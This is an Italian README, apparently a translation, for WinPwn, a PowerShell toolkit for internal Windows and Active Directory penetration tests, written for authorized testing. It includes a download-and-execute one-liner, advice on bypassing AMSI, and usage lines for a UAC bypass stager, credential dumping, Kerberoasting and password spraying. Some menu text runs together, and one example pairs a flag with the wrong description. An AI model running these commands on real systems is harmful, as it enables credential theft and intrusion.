
Automazione per test di penetrazione interno su Windows / Sicurezza AD
In molti penetration test interni passati, ho spesso avuto problemi con gli script Powershell di Recon/Exploitation esistenti a causa della mancanza di supporto proxy. Inoltre, eseguivo spesso gli stessi script uno dopo l'altro per ottenere informazioni sul sistema corrente e/o sul dominio. Per automatizzare il maggior numero possibile di processi di penetration test interni (ricognizione e sfruttamento) e per il motivo del proxy, ho scritto il mio script con riconoscimento e integrazione automatici del proxy. Lo script si basa principalmente su altri noti progetti di offensive security Powershell.
Qualsiasi suggerimento, feedback, pull request e commento sono benvenuti!
È sufficiente importare i moduli con:
Import-Module .\WinPwn.ps1 o
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Per bypassare AMSI, utilizza una delle tecniche di bypass esistenti, trova l'trigger AMSI e modificalo manualmente nella funzione di bypass o codifica la stringa del trigger. In alternativa, offusca l'intero script.
Se ti trovi bloccato su un sistema Windows senza accesso a Internet, nessun problema, usa semplicemente Offline_Winpwn.ps1, gli script e gli eseguibili più importanti sono inclusi.
Funzioni disponibili dopo l'import:
WinPwn -> Menu per scegliere gli attacchi:
Inveigh -> Esegue Inveigh in una nuova finestra della console, attacchi SMB-Relay con gestione delle sessioni (Invoke-TheHash) integrataSessionGopher -> Esegue SessionGopher chiedendoti i parametriKittielocal ->Localreconmodules ->Senza parametri, la maggior parte delle funzioni può essere utilizzata solo da una shell interattiva. Ho quindi deciso di aggiungere i parametri -noninteractive e -consoleoutput per rendere lo script utilizzabile da un framework C2 asincrono come Empire, Covenant, Cobalt Strike o altri. Inoltre è stato aggiunto il parametro -repo per utilizzare WinPwn con tutte le sue funzionalità da un repository locale. Possono essere utilizzati come segue:
Utilizzo:
-noninteractive -> Nessuna domanda per le funzioni, in modo che vengano eseguite con parametri predefiniti o definiti dall'utente
-consoleoutput -> Le cartelle loot/report non vengono create. Ogni funzione restituisce l'output alla console in modo da poter visionare tutto nei log dell'agente del tuo framework C2
Esempi:
WinPwn -noninteractive -consoleoutput -DomainRecon -> Questo restituirà ogni singolo script e funzione di ricognizione del dominio e probabilmente ti darà davvero molto output
WinPwn -noninteractive -consoleoutput -Localrecon -> Questo enumererà quante più informazioni possibile per il sistema locale
Generalrecon -noninteractive -> Esegue le funzioni di base della ricognizione locale e salva l'output nelle cartelle corrispondenti
UACBypass -noninteractive -command "C:\temp\stager.exe" -technique ccmstp -> Esegue uno stager in un processo ad alta integrità da una sessione a privilegi bassi
Kittielocal -noninteractive -consoleoutput -browsercredentials -> Esegue il dump delle credenziali del browser tramite Sharpweb restituendo l'output alla console
Kittielocal -noninteractive -browsercredentials -> Esegue il dump degli hash NTLM del file SAM e salva l'output in un file
WinPwn -PowerSharpPack -consoleoutput -noninteractive -> Esegue Seatbelt, PowerUp, Watson e altri binari C# in memoria
Dotnetsearch -consoleoutput -noninteractive -> Cerca in C:\Program Files\ e C:\Program Files (x86)\ assembly .NET
WinPwn -repo http://192.168.1.10:8000/WinPwn_Repo -> Utilizza un server web locale come repository offline per usare WinPwn senza accesso a Internet
Get_WinPwn_Repo.sh:
Utilizzo: ./Get_WinPwn_Repo.sh {Option}
Esempio: ./Get_WinPwn_Repo.sh --install
Opzioni: --install Scarica il repository e lo posiziona in ./WinPwn_Repo/ --remove Rimuove il repository ./WinPwn_Repo/ --reinstall Rimuove il repository e ne scarica uno nuovo in ./WinPwn_Repo/ --start-server Avvia un server HTTP Python sulla porta 8000 --help Mostra questo aiuto
L'uso di WinPwn per attaccare target senza previo consenso reciproco è illegale. È responsabilità dell'utente finale rispettare tutte le leggi locali, statali e federali applicabili. Gli sviluppatori non si assumono alcuna responsabilità e non sono responsabili per qualsiasi uso improprio o danno causato da questo programma. Utilizzare solo a scopo educativo.
Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder and Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Ricerca Snaffler o Passhunt su tutti i sistemi del dominioGroupsearch -> Get-DomainGPOUserLocalGroupMapping - trova sistemi in cui hai accesso amministratore o accesso RDP tramite il mapping delle policy di gruppo (Powerview / Powersploit)Kerberoasting -> Esegue Invoke-Kerberoast in una nuova finestra e salva gli hash per il successivo crackingPowerSQL -> Scoperta di SQL Server, verifica dell'accesso con l'utente corrente, audit per credenziali predefinite + attacchi di injection UNCPathSharphound -> Report Bloodhound 3.0Adidnsmenu -> Crea nodi DNS integrati in Active Directory o rimuoviliMS17-10 -> Scansiona i server Windows attivi nel dominio o tutti i sistemi per la vulnerabilità MS17-10 (Eternalblue)Sharpcradle -> Carica file C# da un server web remoto in RAMDomainPassSpray -> Attacchi DomainPasswordSpray, una password per tutti gli utenti del dominioBluekeep -> Scanner Bluekeep per sistemi del dominio